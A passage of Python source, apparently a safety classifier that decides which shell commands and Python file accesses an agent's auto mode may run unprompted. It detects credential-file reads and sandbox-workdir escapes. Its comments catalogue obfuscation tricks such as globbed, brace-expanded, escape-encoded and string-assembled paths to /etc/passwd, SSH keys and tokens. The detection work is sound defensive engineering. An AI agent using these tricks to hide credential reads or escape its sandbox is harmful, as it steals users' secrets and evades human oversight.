|
"/root/.ssh",
|
|
"/root/.aws",
|
|
"/root/.azure",
|
|
"/root/.gnupg",
|
|
"/root/.docker",
|
|
"/root/.kube",
|
|
"/root/.config/gcloud",
|
|
"/root/.config/gh",
|
|
"/home/u/.ssh",
|
|
"/home/u/.aws",
|
|
"/home/u/.azure",
|
|
"/home/u/.gnupg",
|
|
"/home/u/.docker",
|
|
"/home/u/.kube",
|
|
"/home/u/.config/gcloud",
|
|
"/home/u/.config/gh",
|
|
)
|
|
# Credential basenames a glob can reach even when the directory is not wholly
|
|
# sensitive (cat ~/.huggingface/tok?n -> token, cat ~/.netr? -> .netrc); the
|
|
# canonical-target list only covers a few fixed home paths, so match the globbed
|
|
# basename against these directly.
|
|
_SENSITIVE_GLOB_BASENAMES = frozenset(
|
|
{
|
|
"token",
|
|
"stored_tokens",
|
|
"credentials",
|
|
".netrc",
|
|
"netrc",
|
|
".pypirc",
|
|
".npmrc",
|
|
".git-credentials",
|
|
"id_rsa",
|
|
"id_ed25519",
|
|
"id_ecdsa",
|
|
"id_dsa",
|
|
"passwd",
|
|
"shadow",
|
|
# A project .env holds secrets; the literal path is gated elsewhere, so a
|
|
# glob that expands to it (cat .e?v) must be too.
|
|
".env",
|
|
}
|
|
)
|
|
# A leading shell redirection (<, >, 2>, >>) hides the path from a plain glob
|
|
# scan (cat </e??/passwd); strip it before matching.
|
|
_REDIR_PREFIX_RE = re.compile(r"^\d*[<>]+")
|
|
# Bash brace expansion (cat /etc/pass{w,}d -> /etc/passwd /etc/passd, and the
|
|
# sequence form cat /etc/pass{w..w}d -> /etc/passwd) runs after this classifier;
|
|
# expand comma groups and .. sequences to scan each result.
|
|
_BRACE_COMMA_RE = re.compile(r"^\{([^{}]*,[^{}]*)\}$")
|
|
_BRACE_SEQ_RE = re.compile(r"^\{([^{}]+)\.\.([^{}]+)(?:\.\.(-?\d+))?\}$")
|
|
_BRACE_ANY_RE = re.compile(r"\{[^{}]*,[^{}]*\}|\{[^{}]+\.\.[^{}]+(?:\.\.-?\d+)?\}")
|
|
# Parameter expansion with a default/alternate operator (${x:-passwd},
|
|
# ${x:+passwd}, ${x=passwd}) can synthesize a path after approval; the operand
|
|
# is substituted so the resulting path is scanned.
|
|
_SHELL_PARAM_OP_RE = re.compile(r"\$\{[A-Za-z_]\w*:?[-=+]([^{}]*)\}")
|
|
|
|
|
|
# The credential-path pattern is superlinear in the text length and a real path
|
|
# is short, so text far past any real path fails closed: the caller asks rather
|
|
# than spending unbounded time. Ordinary commands are far below these bounds.
|
|
_MAX_PATH_SCAN_CHARS = 2048
|
|
_MAX_TERMINAL_SCAN_CHARS = 4096
|
|
|
|
|
|
def _references_sensitive_path(text: str) -> bool:
|
|
"""True if a command or string literal reads a credential path or escapes
|
|
the sandbox workdir via parent traversal."""
|
|
if len(text) > _MAX_PATH_SCAN_CHARS:
|
|
return True
|
|
norm = _REDUNDANT_SLASH_RE.sub("", text)
|
|
debracket = _GLOB_BRACKET_RE.sub(lambda m: m.group(1)[0], text)
|
|
return bool(
|
|
_PARENT_TRAVERSAL_RE.search(text)
|
|
or _SENSITIVE_PATH_RE.search(text)
|
|
or _SENSITIVE_PATH_RE.search(norm)
|
|
or _SENSITIVE_PATH_RE.search(debracket)
|
|
)
|
|
|
|
|
|
def _pattern_matches_dir(pattern: str, target: str) -> bool:
|
|
"""Segment-wise fnmatch so a glob segment does not cross a '/' boundary
|
|
(`/home/*` must not match `/home/u/.ssh`)."""
|
|
p = pattern.split("/")
|
|
t = target.split("/")
|
|
if len(p) != len(t):
|
|
return False
|
|
return all(fnmatch.fnmatch(tseg, pseg) for pseg, tseg in zip(p, t))
|
|
|
|
|
|
def _glob_token_sensitive(token: str) -> bool:
|
|
"""True if a single ? / * / [..] glob token could expand to a sensitive file
|
|
or a file under a secret/credential directory. Shared by the terminal scan
|
|
and the Python glob check (glob.glob('/e??/passwd'))."""
|
|
token = _REDIR_PREFIX_RE.sub("", _SHELL_QUOTE_RE.sub("", token))
|
|
# A POSIX class ([[:lower:]]) matches one char, like `?`, but fnmatch treats
|
|
# it as a literal set; normalize so cat /etc/pass[[:lower:]]d resolves.
|
|
token = _POSIX_CLASS_RE.sub("?", token)
|
|
if not any(c in token for c in "?*["):
|
|
return False
|
|
if any(fnmatch.fnmatch(target, token) for target in _SENSITIVE_GLOB_TARGETS):
|
|
return True
|
|
# A glob that resolves to a credential basename is sensitive wherever it
|
|
# lives (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc); the
|
|
# fixed-target list only covers a handful of home paths.
|
|
base = token.rsplit("/", 1)[-1]
|
|
if any(c in base for c in "?*[") and any(
|
|
fnmatch.fnmatch(name, base) for name in _SENSITIVE_GLOB_BASENAMES
|
|
):
|
|
return True
|
|
# A globbed directory that resolves into a secret/credential dir makes every
|
|
# file below it sensitive (cat /r?n/secrets/hf_token).
|
|
head = token.rsplit("/", 1)[0] if "/" in token else token
|
|
return any(
|
|
_pattern_matches_dir(token, d) or _pattern_matches_dir(head, d)
|
|
for d in _SENSITIVE_GLOB_DIRS
|
|
)
|
|
|
|
|
|
def _glob_hits_sensitive(command: str) -> bool:
|
|
"""True if any glob token in a command could expand to a sensitive file, so
|
|
`cat /e??/passwd` and `cat /r?n/secrets/hf_token` ask even without a literal
|
|
sensitive path."""
|
|
return any(
|
|
_glob_token_sensitive(token)
|
|
for token in command.replace(";", " ").replace("|", " ").split()
|
|
)
|
|
|
|
|
|
def _expand_shell_assignments(command: str) -> str:
|
|
"""Best-effort substitution of `NAME=value ... $NAME`, so a sensitive path
|
|
split across an assignment and an argument (p=/etc; cat $p/passwd) is still
|
|
visible to the sensitive-path scan. Also applies pattern replacement
|
|
(p=passXd; cat /etc/${p/X/w}). Fail-open: only adds detections."""
|
|
env = dict(_SHELL_ASSIGN_RE.findall(command))
|
|
if not env:
|
|
return command
|
|
|
|
def repl_pattern(m):
|
|
var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4)
|
|
if var not in env or not pat:
|
|
return m.group(0)
|
|
return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1)
|
|
|
|
def repl_case(m):
|
|
var, op = m.group(1), m.group(2)
|
|
if var not in env:
|
|
return m.group(0)
|
|
v = env[var]
|
|
if op == ",,":
|
|
return v.lower()
|
|
if op == "^^":
|
|
return v.upper()
|
|
if op == ",":
|
|
return v[:1].lower() + v[1:]
|
|
return v[:1].upper() + v[1:]
|
|
|
|
def repl_indirect(m):
|
|
# ${!p} -> value of the variable named by $p (env[env[p]]).
|
|
pointed = env.get(m.group(1))
|
|
return env.get(pointed, m.group(0)) if pointed is not None else m.group(0)
|
|
|
|
command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command)
|
|
command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command)
|
|
command = _SHELL_PARAM_CASE_RE.sub(repl_case, command)
|
|
return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command)
|
|
|
|
|
|
def _expand_param_defaults(command: str) -> str:
|
|
"""Substitute the operand of a default/alternate parameter expansion
|
|
(cat /etc/pass${x:-wd} -> cat /etc/passwd), which bash applies after this
|
|
classifier. Fail-open: only adds detections."""
|
|
return _SHELL_PARAM_OP_RE.sub(lambda m: m.group(1), command)
|
|
|
|
|
|
# Bash expands $'...' to a single word, so a separator inside it is data. Callers
|
|
# that tokenize the decoded text neutralize these first, otherwise
|
|
# `printf '%s' $'a\\nrm -rf x'` reads as two commands and the printf is refused.
|
|
_ANSI_C_SEPARATOR_RE = re.compile(r"[\s;&|()<>`]")
|
|
# A newline revealed by ANSI-C decoding, and the mark standing in for it. Any
|
|
# character shlex leaves inside a quoted word serves, as long as the boundary
|
|
# regex in _find_blocked_commands does not read it as the start of a command.
|
|
_ANSI_C_NEWLINE_MARK = "\x03"
|
|
_ANSI_C_NEWLINE_RE = re.compile(r"[\n\r]")
|
|
|
|
|
|
def _folded_str_literal(node) -> "str | None":
|
|
"""The string an expression evaluates to when built only from string literals
|
|
("un" + "link", f"un{'link'}"), else None. Resolves a name spelled
|
|
dynamically but fully known at parse time."""
|
|
if isinstance(node, ast.Constant):
|
|
return node.value if isinstance(node.value, str) else None
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):
|
|
left = _folded_str_literal(node.left)
|
|
right = _folded_str_literal(node.right)
|
|
return None if left is None or right is None else left + right
|
|
if isinstance(node, ast.JoinedStr):
|
|
parts = []
|
|
for value in node.values:
|
|
piece = _folded_str_literal(value)
|
|
if piece is None:
|
|
return None
|
|
parts.append(piece)
|
|
return "".join(parts)
|
|
if isinstance(node, ast.FormattedValue) and node.format_spec is None:
|
|
return _folded_str_literal(node.value)
|
|
return None
|
|
|
|
|
|
def _decode_ansi_c(command: str, *, keep_one_word: bool = False) -> str:
|
|
"""Decode bash ANSI-C quoted words (cat $'/etc/pass\\x77d' -> cat /etc/passwd)
|
|
so an escape-obfuscated path is visible to the scan. Fail-open: only adds
|
|
detections. With ``keep_one_word`` the decoded text cannot introduce new
|
|
shell syntax, which is what bash does with it."""
|
|
|
|
def dec(m):
|
|
try:
|
|
text = bytes(m.group(1), "utf-8").decode("unicode_escape")
|
|
except (UnicodeDecodeError, ValueError):
|
|
return m.group(0)
|
|
if not keep_one_word:
|
|
return text
|
|
if _ANSI_C_NEWLINE_MARK not in text:
|
|
# Re-quote rather than flatten: bash gives the command ONE word
|
|
# however much whitespace the decoding reveals, and a sed program
|
|
# ends its COMMENT at a newline, so the spaces and the `#` around it
|
|
# all carry meaning. An apostrophe is re-quoted `'\''` for the same
|
|
# reason. The newline stands as a MARK because it is data for the
|
|
# command bash starts, not a place a new one begins, and the
|
|
# boundary regex below would read a bare one as the latter;
|
|
# _sed_invocation puts it back where its meaning matters.
|
|
body = _ANSI_C_NEWLINE_RE.sub(_ANSI_C_NEWLINE_MARK, text)
|
|
return "'" + body.replace("'", "'\\''") + "'"
|
|
return _ANSI_C_SEPARATOR_RE.sub("_", text)
|
|
|
|
return _ANSI_C_RE.sub(dec, command)
|
|
|
|
|
|
def _brace_range(lo: str, hi: str, step: "str | None") -> "list[str]":
|
|
"""Expand a bash sequence brace endpoint pair ({1..3}, {a..c}, {w..w})."""
|
|
try:
|
|
istep = abs(int(step)) if step else 1
|
|
istep = istep or 1
|
|
if re.fullmatch(r"-?\d+", lo) and re.fullmatch(r"-?\d+", hi):
|
|
a, b = int(lo), int(hi)
|
|
rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
|
|
return [str(x) for x in rng][:64]
|
|
if len(lo) == 1 and len(hi) == 1 and lo.isalpha() and hi.isalpha():
|
|
a, b = ord(lo), ord(hi)
|
|
rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
|
|
return [chr(x) for x in rng][:64]
|
|
except (ValueError, TypeError):
|
|
pass
|
|
return []
|
|
|
|
|
|
def _brace_options(text: str) -> "list[str]":
|
|
"""Options a single brace group expands to (comma list or .. sequence)."""
|
|
m = _BRACE_COMMA_RE.match(text)
|
|
if m:
|
|
return m.group(1).split(",")
|
|
m = _BRACE_SEQ_RE.match(text)
|
|
if m:
|
|
return _brace_range(m.group(1), m.group(2), m.group(3)) or [text]
|
|
return [text]
|
|
|
|
|
|
def _expand_braces(command: str) -> str:
|
|
"""Best-effort bash brace expansion (cat /etc/pass{w,}d -> cat /etc/passwd
|
|
/etc/passd, cat /etc/pass{w..w}d -> cat /etc/passwd) so a sensitive path
|
|
split across a brace group is scanned. Bounded. Fail-open: only detects."""
|
|
results = [command]
|
|
for _ in range(6):
|
|
if not any(_BRACE_ANY_RE.search(s) for s in results):
|
|
break
|
|
expanded = []
|
|
for s in results:
|
|
m = _BRACE_ANY_RE.search(s)
|
|
if not m:
|
|
expanded.append(s)
|
|
continue
|
|
for opt in _brace_options(m.group(0)):
|
|
expanded.append(s[: m.start()] + opt + s[m.end() :])
|
|
results = expanded[:64]
|
|
return " ".join(results)
|
|
|
|
|
|
def _mode_arg_writes(mode_node) -> bool:
|
|
"""True if an AST node used as a file mode requests write/append."""
|
|
if mode_node is None:
|
|
return False # default "r"
|
|
if isinstance(mode_node, ast.Constant) and isinstance(mode_node.value, str):
|
|
return bool(_PY_WRITE_MODE_RE.search(mode_node.value))
|
|
return True # dynamic mode: cannot prove read-only
|
|
|
|
|
|
def _has_kwarg_splat(node) -> bool:
|
|
"""True if the call has a ``**kwargs`` splat, which can hide a write mode."""
|
|
return any(kw.arg is None for kw in node.keywords or [])
|
|
|
|
|
|
def _builtin_open_writes(node) -> bool:
|
|
"""Write check for builtin ``open(file, mode)`` (mode is the 2nd arg)."""
|
|
if _has_kwarg_splat(node):
|
|
return True # **{"mode": "w"} could request a write
|
|
if any(isinstance(a, ast.Starred) for a in node.args):
|
|
return True # *("f", "w") could splat a write mode into the positionals
|
|
mode = node.args[1] if len(node.args) >= 2 else None
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "mode":
|
|
mode = kw.value
|
|
return _mode_arg_writes(mode)
|
|
|
|
|
|
def _attr_open_writes(node) -> bool:
|
|
"""Write check for ``x.open(...)`` (e.g. ``Path.open(mode)`` where mode is
|
|
the 1st arg). Only a mode-looking string is read as the mode, so a
|
|
``ZipFile.open("name.txt")`` read is not mistaken for a write."""
|
|
if _has_kwarg_splat(node):
|
|
return True # **{"mode": "w"} could request a write
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "mode":
|
|
return _mode_arg_writes(kw.value)
|
|
if node.args:
|
|
first = node.args[0]
|
|
if isinstance(first, ast.Constant) and isinstance(first.value, str):
|
|
if _PY_MODE_LITERAL_RE.match(first.value):
|
|
return bool(_PY_WRITE_MODE_RE.search(first.value))
|
|
# A 2nd positional arg is either a mode (x.open(name, "w")) or
|
|
# os.open(path, O_CREAT) flags via an alias: honor a string mode,
|
|
# otherwise cannot prove read-only, so ask.
|
|
if len(node.args) >= 2:
|
|
second = node.args[1]
|
|
if isinstance(second, ast.Constant) and isinstance(second.value, str):
|
|
return _mode_arg_writes(second)
|
|
return True
|
|
return False
|
|
return True # dynamic first arg: cannot prove read-only
|
|
return False # no args: read
|
|
|
|
|
|
_PATH_CTORS = (
|
|
"Path",
|
|
"PurePath",
|
|
"PurePosixPath",
|
|
"PureWindowsPath",
|
|
"PosixPath",
|
|
"WindowsPath",
|
|
)
|
|
# Deterministic path pass-through/normalizer calls that return the same location
|
|
# (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding
|
|
# through them keeps a sensitive root visible to the scan.
|
|
_PATH_PASSTHROUGH_ATTRS = frozenset(
|
|
{"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"}
|
|
)
|
|
# pathlib methods that rewrite only the final path component, so the sensitive
|
|
# target is never spelled out as a literal (Path('/etc/x').with_name('passwd')
|
|
# -> /etc/passwd). Folded below so the rewritten path is still scanned.
|
|
_PATH_NAME_REWRITES = frozenset({"with_name", "with_stem", "with_suffix"})
|
|
# Mapping-style %-format conversion specifier: %(name)s / %(n)5.2f. Used to fold
|
|
# '/etc/%(f)s' % {'f': 'passwd'} to /etc/passwd (a dynamic value becomes NUL).
|
|
_PERCENT_NAMED_RE = re.compile(r"%\((\w+)\)[-#0 +]*\d*(?:\.\d+)?[a-zA-Z]")
|
|
|
|
|
|
def _folded_path(
|
|
node,
|
|
literals = None,
|
|
ctors = None,
|
|
join_names = None,
|
|
) -> "str | None":
|
|
"""Best-effort value of a path built from string literals, so a sensitive
|
|
path assembled from pieces (os.path.join('/etc', 'passwd'), '/etc'+'/passwd',
|
|
Path('/etc') / 'passwd', f'/proc/{pid}/environ', f'/etc/{name}') is still
|
|
visible to the scan. A dynamic piece becomes NUL, a non-slash placeholder,
|
|
so a dynamic segment under a sensitive dir (/etc/NUL) is still detectable.
|
|
``literals`` maps names bound to string literals (base = '/etc'); ``ctors``
|
|
is the set of pathlib constructor names (incl. import aliases); ``join_names``
|
|
are bare names bound to os.path.join (from os.path import join)."""
|
|
literals = literals or {}
|
|
ctors = ctors or _PATH_CTORS
|
|
join_names = join_names or frozenset()
|
|
|
|
def fold(node) -> "str | None":
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, (str, bytes)):
|
|
# bytes paths are valid too (open(b'/etc/passwd')); decode for scan.
|
|
return (
|
|
node.value.decode("latin-1", "ignore")
|
|
if isinstance(node.value, bytes)
|
|
else node.value
|
|
)
|
|
if isinstance(node, ast.Name):
|
|
return literals.get(node.id)
|
|
if isinstance(node, ast.Attribute) and node.attr in ("parent", "parents"):
|
|
# A pathlib .parent/.parents walks above the current dir, escaping
|
|
# the per-session workdir without a literal '..'; mark it so a read
|
|
# folds to unsafe (\x02 is a non-slash escape sentinel).
|
|
return "\x02"
|
|
if (
|
|
isinstance(node, ast.Subscript)
|
|
and isinstance(node.value, ast.Attribute)
|
|
and (node.value.attr == "parents")
|
|
):
|
|
return "\x02" # Path(...).parents[1]
|
|
if isinstance(node, ast.JoinedStr):
|
|
return "".join(
|
|
v.value
|
|
if isinstance(v, ast.Constant) and isinstance(v.value, str)
|
|
else (fold(v.value) or "\x00")
|
|
if isinstance(v, ast.FormattedValue)
|
|
else "\x00"
|
|
for v in node.values
|
|
)
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Div)):
|
|
left = fold(node.left)
|
|
right = fold(node.right)
|
|
left = "\x00" if left is None else left
|
|
right = "\x00" if right is None else right
|
|
# Path('/etc') / 'passwd' joins with a separator; '+' concatenates.
|
|
return left + "/" + right if isinstance(node.op, ast.Div) else left + right
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mod):
|
|
# Old-style formatting: '%s/%s' % ('/etc', 'passwd') -> /etc/passwd.
|
|
template = fold(node.left)
|
|
if template is not None and "%" in template:
|
|
rhs = node.right
|
|
if "%(" in template:
|
|
# Mapping-style: '/etc/%(f)s' % {'f': 'passwd'} -> /etc/passwd.
|
|
# A literal dict resolves each name; an unresolved value or a
|
|
# non-literal mapping leaves the NUL marker so /etc/<dynamic>
|
|
# still fails closed under a sensitive dir.
|
|
mapping: "dict[str, str]" = {}
|
|
if isinstance(rhs, ast.Dict):
|
|
for k, v in zip(rhs.keys, rhs.values):
|
|
if isinstance(k, ast.Constant) and isinstance(k.value, str):
|
|
fv = fold(v)
|
|
mapping[k.value] = fv if fv is not None else "\x00"
|
|
return _PERCENT_NAMED_RE.sub(
|
|
lambda m: mapping.get(m.group(1), "\x00"), template
|
|
)
|
|
if isinstance(rhs, ast.Tuple):
|
|
args = tuple((fold(e) or "\x00") for e in rhs.elts)
|
|
else:
|
|
single = fold(rhs)
|
|
args = (single if single is not None else "\x00",)
|
|
try:
|
|
return template % args
|
|
except (TypeError, ValueError, KeyError):
|
|
return None
|
|
return None
|
|
if isinstance(node, ast.Call):
|
|
func = node.func
|
|
if isinstance(func, ast.Attribute) and func.attr == "joinpath":
|
|
# Path('/etc').joinpath('passwd') -> receiver and args are pieces.
|
|
base = fold(func.value)
|
|
parts = [base if base is not None else "\x00"]
|
|
parts += [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"):
|
|
# Path('/etc').glob('passw?') -> the receiver dir joined with the
|
|
# glob pattern; _glob_token_sensitive then tests /etc/passw?.
|
|
base = fold(func.value)
|
|
pattern = fold(node.args[0]) if node.args else "\x00"
|
|
return (base if base is not None else "\x00") + "/" + (pattern or "\x00")
|
|
if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES:
|
|
# Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem /
|
|
# with_suffix rewrite only the final component. Fold to the
|
|
# rewritten path so a sensitive target that no literal spells out
|
|
# is still caught. An unresolved receiver stays None (untracked,
|
|
# like a bare variable), and a dynamic arg becomes the NUL marker.
|
|
base = fold(func.value)
|
|
if base is None:
|
|
return None
|
|
arg = fold(node.args[0]) if node.args else None
|
|
arg = "\x00" if arg is None else arg
|
|
idx = base.rfind("/")
|
|
head = base[: idx + 1] if idx >= 0 else ""
|
|
name = base[idx + 1 :] if idx >= 0 else base
|
|
dot = name.rfind(".")
|
|
stem = name[:dot] if dot > 0 else name
|
|
suffix = name[dot:] if dot > 0 else ""
|
|
if func.attr == "with_name":
|
|
name = arg
|
|
elif func.attr == "with_stem":
|
|
name = arg + suffix
|
|
else: # with_suffix
|
|
name = stem + arg
|
|
return head + name
|
|
if isinstance(func, ast.Attribute) and func.attr in _PATH_PASSTHROUGH_ATTRS:
|
|
# Deterministic normalizers keep the same path: os.path.abspath(
|
|
# '/etc') -> /etc, Path('/etc').resolve() -> /etc. When called with
|
|
# a path arg fold it, else fold the receiver (Path method form).
|
|
return fold(node.args[0]) if node.args else fold(func.value)
|
|
if isinstance(func, ast.Attribute) and func.attr == "join":
|
|
# str.join has the separator as the receiver and the pieces in
|
|
# one iterable arg ("".join(['/etc', '/passwd']) -> /etc/passwd);
|
|
# tell it apart from os.path.join(*pieces).
|
|
sep = fold(func.value)
|
|
if (
|
|
sep is not None
|
|
and len(node.args) == 1
|
|
and isinstance(node.args[0], (ast.List, ast.Tuple))
|
|
):
|
|
pieces = [(fold(e) or "\x00") for e in node.args[0].elts]
|
|
return sep.join(pieces)
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# A bare os.path.join alias (from os.path import join): join(*pieces).
|
|
if isinstance(func, ast.Name) and func.id in join_names:
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# A bare/qualified/aliased pathlib constructor (Path(...), P(...)).
|
|
if (isinstance(func, ast.Attribute) and func.attr in ctors) or (
|
|
isinstance(func, ast.Name) and func.id in ctors
|
|
):
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# '/etc/{}'.format('passwd') -> /etc/passwd (literal template + args).
|
|
if isinstance(func, ast.Attribute) and func.attr == "format":
|
|
template = fold(func.value)
|
|
if template is not None and "{" in template:
|
|
parts = []
|
|
for a in node.args:
|
|
if isinstance(a, ast.Constant):
|
|
parts.append(str(a.value))
|
|
else:
|
|
folded = fold(a)
|
|
parts.append("\x00" if folded is None else folded)
|
|
try:
|
|
return template.format(*parts)
|
|
except (IndexError, KeyError, ValueError):
|
|
return None
|
|
return None
|
|
|
|
return fold(node)
|
|
|
|
|
|
def _dynamic_name_hits_sensitive(folded) -> bool:
|
|
"""True if a folded path with a dynamic piece (NUL) inside a path segment
|
|
could spell a credential target, e.g. open('/et' + chr(99) + '/passwd')
|
|
folds to '/et\\x00/passwd'. NUL matches any run of non-separator chars so the
|
|
dynamic split of a sensitive name resolves, while an all-dynamic ('\\x00\\x00')
|
|
or segment-spanning ('\\x00/\\x00') path cannot form a single credential name
|
|
and stays safe."""
|
|
if not folded or "\x00" not in folded:
|
|
return False
|
|
pattern = "".join(r"[^/\\]*" if ch == "\x00" else re.escape(ch) for ch in folded)
|
|
try:
|
|
rx = re.compile(pattern + r"\Z")
|
|
except re.error:
|
|
return True # pathological pattern: fail closed
|
|
return any(rx.match(t) for t in _SENSITIVE_GLOB_TARGETS)
|
|
|
|
|
|
def _folded_is_sensitive(folded) -> bool:
|
|
"""A folded path is sensitive if it names a credential file, has a dynamic
|
|
segment (NUL) directly under a sensitive directory (/etc/NUL), walks out of
|
|
the sandbox via a pathlib .parent/.parents escape (\\x02), or is a glob that
|
|
could resolve to a credential path (glob.glob('/e??/passwd'))."""
|
|
if not folded:
|
|
return False
|
|
return (
|
|
"\x02" in folded
|
|
or _references_sensitive_path(folded)
|
|
or ("\x00" in folded and bool(_SENSITIVE_DIR_RE.search(folded)))
|
|
# A dynamic segment (NUL) can be the "/" forming a sensitive root:
|
|
# open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with
|
|
# NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe).
|
|
or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")))
|
|
# A dynamic piece can also sit INSIDE a sensitive name: open('/et' +
|
|
# chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above
|
|
# catch. Match the literals around each NUL against a credential target,
|
|
# treating NUL as "any run of non-separator chars" so /et<dyn>/passwd
|
|
# resolves while an all-dynamic ("\x00\x00" from 1 + 1) or segment-spanning
|
|
# ("\x00/\x00" from a + '/' + b) path stays safe.
|
|
or _dynamic_name_hits_sensitive(folded)
|
|
or _glob_token_sensitive(folded)
|
|
)
|
|
|
|
|
|
def _command_references_sensitive(command: str) -> bool:
|
|
"""True if a shell command reads/writes a credential path or escapes the
|
|
sandbox workdir (../), after undoing the shell expansions that would hide it:
|
|
quotes/backslash escapes, brace/parameter/ANSI-C expansion and NAME=value
|
|
prefixes, so `cat /et\\c/passwd`, `p="/proc/$PPID"; cat $p/environ` and
|
|
`cat /e{t,}c/pass?d` are all caught."""
|
|
stripped = _SHELL_QUOTE_RE.sub("", command).replace("\\", "")
|
|
candidates = []
|
|
for c in (command, stripped, _decode_ansi_c(command)):
|
|
c_param = _expand_param_defaults(c)
|
|
candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)))
|
|
return any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates)
|
|
|
|
|
|
def _terminal_is_potentially_unsafe(command: str) -> bool:
|
|
"""Classify a terminal command for auto mode (fail closed)."""
|
|
if not command or not command.strip():
|
|
return False
|
|
# Redirections and substitutions can hide writes or nested commands; a
|
|
# quoted ">" false-positives into a prompt, which is the safe direction.
|
|
if ">" in command or "`" in command or "$(" in command or "<(" in command:
|
|
return True
|
|
# Reads that escape the sandbox workdir (../) or hit credential paths are
|
|
# not "safe" reads; ask before running them.
|
|
if _command_references_sensitive(command):
|
|
return True
|
|
# Newlines (and CR) separate commands in a shell but read as plain
|
|
# whitespace to shlex, which would demote "ls\nrm x" to argument position.
|
|
command = command.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
|
|
try:
|
|
lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
return True
|
|
# A root can also hide behind an assignment (p=/; grep -R TOKEN $p) or a
|
|
# default parameter (grep -R TOKEN ${root:-/home}); re-lex the fully expanded
|
|
# command so the find/fd and recursive-search scans see the resolved token.
|
|
expanded_command = _expand_shell_assignments(_expand_param_defaults(command))
|
|
if expanded_command != command:
|
|
try:
|
|
elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()")
|
|
elexer.whitespace_split = True
|
|
scan_tokens = list(elexer)
|
|
except ValueError:
|
|
return True
|
|
else:
|
|
scan_tokens = tokens
|
|
# find/fd group with (...) which resets command context, so a trailing
|
|
# -delete/-exec could slip past; scan every token when find/fd appears.
|
|
if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens):
|
|
if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens):
|
|
return True
|
|
# A recursive reader rooted outside the sandbox reads host files (grep -R
|
|
# TOKEN /home, rg TOKEN /, grep -R TOKEN ~root, p=/; grep -R TOKEN $p, and
|
|
# the always-recursive walkers tree /home / du /); ask. Bash expands
|
|
# ~/~user to a home dir after this decision, so a tilde root is a sandbox
|
|
# escape too. A path-qualified command token starts with "/" as well, but
|
|
# that already asks below.
|
|
if any(t.startswith("/") or t.startswith("~") for t in scan_tokens):
|
|
token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens]
|
|
if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases):
|
|
return True
|
|
# ls only walks the whole subtree with -R/--recursive (ls -R /home,
|
|
# ls -laR /); a non-recursive ls /home lists one level and stays here.
|
|
if "ls" in token_bases and any(
|
|
t.split("=", 1)[0] in ("-R", "--recursive")
|
|
or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
|
|
for t in tokens
|
|
):
|
|
return True
|
|
expect_command = True
|
|
prefix_pending = False
|
|
current_command = ""
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
for token in tokens:
|
|
# Runs of punctuation (";;", ";&") lex as one token; any token made
|
|
# purely of separator characters still separates commands.
|
|
if (
|
|
token in _SHELL_SEPARATORS
|
|
or (token in _SHELL_KEYWORDS_AS_SEP and expect_command)
|
|
or not set(token) - set(";&|()")
|
|
):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
current_command = ""
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
continue
|
|
if token.startswith("-"):
|
|
# A write/exec flag on an otherwise read-only command asks
|
|
# (sort -o, tree -o, xxd -r, find -exec/-delete/...). Match
|
|
# "--output=x", an attached short option "-o/tmp/out", and a short
|
|
# option bundled in a cluster (sort -uo out => -u -o).
|
|
flag_head = token.split("=", 1)[0]
|
|
cluster = token[1:] if token[:2] != "--" and "=" not in token else ""
|
|
# GNU tools accept unambiguous abbreviations of a long option, so
|
|
# `sort --out=` reaches --output and `env --ch=/` reaches --chdir;
|
|
# a "--x" prefix of an unsafe long flag fails closed.
|
|
is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2
|
|
for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()):
|
|
if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)):
|
|
return True
|
|
if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head):
|
|
return True
|
|
# A flag that takes a following value (date -d STRING / -r FILE;
|
|
# uniq -f N; xxd -c N) so the value token is not mistaken for a
|
|
# clock-setting positional or an output-file positional.
